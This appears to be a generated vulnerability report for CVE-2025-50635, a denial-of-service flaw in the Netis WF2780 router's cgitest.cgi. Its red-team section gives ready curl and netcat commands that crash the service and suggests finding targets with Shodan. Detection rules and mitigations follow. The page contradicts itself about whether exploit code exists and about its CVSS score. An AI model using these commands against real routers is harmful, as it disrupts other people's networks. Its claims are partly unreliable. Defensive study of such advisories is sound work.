CVE-2025-50635
Executive Summary
CVE-2025-50635 is a null pointer dereference vulnerability in the Netis WF2780 router firmware version 2.2.35445. The flaw resides in the FUN_0048a728 function within the cgitest.cgi binary. By controlling the CONTENT_LENGTH HTTP header, an unauthenticated attacker can trigger a null pointer dereference, causing the CGI process to crash and leading to a denial-of-service (DoS) condition. No authentication is required, and the attack can be launched remotely over the network. As of this report, no official patch has been released, and no public exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector (AV): Network (N) – remotely exploitable
- Attack Complexity (AC): Low (L) – no special conditions
- Privileges Required (PR): None (N) – unauthenticated
- User Interaction (UI): None (N) – no user action needed
- Scope (S): Unchanged (U) – affects only the vulnerable component
- Confidentiality (C): None (N) – no data exposure
- Integrity (I): None (N) – no data modification
- Availability (A): High (H) – service crash leading to DoS
- Threat Level: Medium (DoS impact, no patch available)
Deep Dive & Mechanics
The vulnerability is a classic null pointer dereference in the cgitest.cgi CGI binary. The FUN_0048a728 function processes the CONTENT_LENGTH environment variable, which is derived from the HTTP Content-Length header. When a malformed or unexpected value is supplied (e.g., a negative number, extremely large value, or non-numeric string), the function fails to validate the input before using it as a pointer or size argument. This leads to a dereference of a null or invalid memory address, causing the CGI process to crash with a segmentation fault.
The cgitest.cgi endpoint is typically used for diagnostic or testing purposes and is accessible without authentication. An attacker can send a crafted HTTP request with a malicious Content-Length header to any network-accessible interface of the router (LAN or WAN if exposed). The crash of the CGI process may also affect other services if the web server is configured to restart the process, but repeated attacks can lead to persistent denial of service.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code path is described based on reverse engineering of the firmware.
Vulnerable Code (pseudocode):
void FUN_0048a728() {
char *content_length = getenv("CONTENT_LENGTH");
int len = atoi(content_length); // No validation of content_length pointer
char *buffer = malloc(len);
// ... use buffer without checking if malloc succeeded
// If content_length is NULL or invalid, atoi returns 0, malloc(0) may return NULL
// Subsequent dereference of buffer causes crash
}
Patched Code (hypothetical):
void FUN_0048a728() {
char *content_length = getenv("CONTENT_LENGTH");
if (content_length == NULL) {
// Handle missing header
return;
}
int len = atoi(content_length);
if (len <= 0 || len > MAX_BUFFER_SIZE) {
// Validate length range
return;
}
char *buffer = malloc(len);
if (buffer == NULL) {
// Handle allocation failure
return;
}
// ... safe usage
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Netis WF2780 router with firmware v2.2.35445
- Network access to the router's web interface (default IP often 192.168.1.1)
- No authentication required
Exploit Steps:
- Identify the target router's IP address (e.g., via Shodan or local network scan).
- Send a crafted HTTP request to the
cgitest.cgiendpoint with a maliciousContent-Lengthheader.
Example using curl:
curl -X GET "http://<router_ip>/cgitest.cgi" -H "Content-Length: -1"
Alternative using netcat:
echo -e "GET /cgitest.cgi HTTP/1.1\r\nHost: <router_ip>\r\nContent-Length: abc\r\n\r\n" | nc <router_ip> 80
Expected Outcome: The CGI process crashes, causing the web interface to become unresponsive or return errors. Repeated requests can maintain the DoS condition.
Blue Team
Detection:
- Monitor HTTP requests to
/cgitest.cgiwith unusualContent-Lengthvalues (negative, non-numeric, or extremely large). - Look for repeated crashes of the
cgitest.cgiprocess in system logs. - Use network traffic analysis to identify anomalous HTTP headers.
Mitigation:
- Block external access to the router's web interface (disable WAN administration).
- Apply firewall rules to restrict access to
cgitest.cgito trusted IPs only. - Monitor for firmware updates from Netis and apply patches when available.
- Consider disabling the CGI endpoint if not needed (requires firmware modification).
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/cgitest.cgiwithContent-Lengthheader containing non-numeric or negative values. - Repeated HTTP 500 errors or connection resets from the router's web interface.
- HTTP requests to
- System:
- Crash logs in the router's syslog indicating segmentation fault in
cgitest.cgi. - Process
cgitest.cgirepeatedly restarting or failing.
- Crash logs in the router's syslog indicating segmentation fault in
- File:
- Firmware binary
cgitest.cgiwith MD5 hash matching v2.2.35445 (if available).
- Firmware binary
Detection Engineering
YARA Rule
rule CVE_2025_50635_Netis_WF2780_Null_Pointer_Dereference {
meta:
description = "Detects Netis WF2780 firmware with vulnerable cgitest.cgi"
author = "Valters IT"
date = "2025-04-01"
cve = "CVE-2025-50635"
strings:
$vuln_func = "FUN_0048a728" ascii wide nocase
$cgi_path = "cgitest.cgi" ascii wide nocase
condition:
$vuln_func and $cgi_path
}
Sigma Rule
title: CVE-2025-50635 - Netis WF2780 cgitest.cgi Null Pointer Dereference
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests with malformed Content-Length header targeting cgitest.cgi
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-path: "/cgitest.cgi"
cs-headers: "Content-Length: *"
filter:
cs-headers|re: "^Content-Length: \d+$"
condition: selection and not filter
falsepositives:
- Legitimate testing tools sending unusual headers
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-50635 - Netis WF2780 cgitest.cgi Null Pointer Dereference"; flow:to_server; content:"/cgitest.cgi"; http_uri; content:"Content-Length"; http_header; pcre:"/^Content-Length:\s*[^0-9\-]/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable remote administration (WAN access) on the router.
- Block external access to port 80/443 if not required.
- Restrict access to the web interface to trusted internal IPs only.
Vendor Patch:
- No patch is currently available. Contact Netis support for updates.
- Monitor the Netis security advisory page for future firmware releases.
Workarounds:
- If possible, replace the router with a patched or alternative device.
- Implement a reverse proxy or WAF to filter malformed
Content-Lengthheaders.
Long-term:
- Conduct a firmware security audit for similar vulnerabilities.
- Consider using open-source router firmware (e.g., OpenWrt) if hardware supports it.
Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-01
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.